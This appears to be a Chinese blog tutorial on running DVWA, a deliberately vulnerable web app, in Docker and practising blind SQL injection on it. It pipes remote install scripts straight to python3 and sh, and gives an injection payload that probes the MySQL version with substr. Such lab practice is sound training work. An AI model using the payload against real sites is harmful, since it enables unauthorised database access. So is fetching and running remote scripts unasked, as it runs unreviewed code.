DVWA-Sql注入

容器

#安装docker
curl -s https://bootstrap.pypa.io/get-pip.py | python3
curl -s https://get.docker.com/ | sh
service docker start
pip install docker-compose
#搜索镜像
docker search infoslack/dvwa
INDEX       NAME                       DESCRIPTION   STARS     OFFICIAL   AUTOMATED
docker.io   docker.io/infoslack/dvwa                 11                   [OK]
#拉取镜像
docker pull docker.io/infoslack/dvwa
#查看镜像
docker images                  
#新建一个容器(--privileged=true 去除 SELINUX(加强版本防火墙) --name mydb 人为设定容器id)
docker run -itd -p 8080:80 -p 3306:3306 --name mydvwa --privileged=true infoslack/dvwa
#查看容器状态
docker ps -a 
#停止容器
docker stop ${容器id}
#启动容器
dockers start ${容器id}
#进入容器
docker exec -it ${容器id} bash
#查看dvwa容器数据库密码
vi /app/config/config.inc.php
#获取镜像的元数据
docker inspect infoslack/dvwa
#获取容器的元数据
docker inspect ${容器id}

sql盲注

--原始sql
SELECT first_name, last_name FROM users WHERE user_id = '$id';

SELECT first_name, last_name FROM users WHERE user_id = '1' = '1' and substr(VERSION() , 1,1) = '5 ';

在这里插入图片描述

SELECT SUBSTR("helo", 2, 3); -- 输出 elo 左右闭区间
SELECT SUBSTRING("helo", 2, 3) -- 输出 elo 左右闭区间
SELECT MID("helo", 2, 3); -- 输出 elo 左右闭区间
SELECT LEFT('helo',2); -- 输出 he
SELECT RIGHT('helo',2) -- 输出 lo
SELECT IF(1 > 0,'Y' , 'N'); -- 输出 Y
SELECT IF(1 < 0,'Y' , 'N'); -- 输出 N
SELECT CASE WHEN 1=1 THEN 'Y' ELSE 'N' END --输出 Y
SELECT CHAR_LENGTH("helo") -- 4
SELECT substr(VERSION() , 1,1),VERSION()

DVWA-Sql注入_第1张图片

#payload 
1' = '1' and substr(VERSION() , 1,1) = '5 
--sql
select * FROM users where  user_id = '1' = '1' and substr(VERSION() , 1,1) = '5 '

DVWA-Sql注入_第2张图片
DVWA-Sql注入_第3张图片

你可能感兴趣的:(mysql)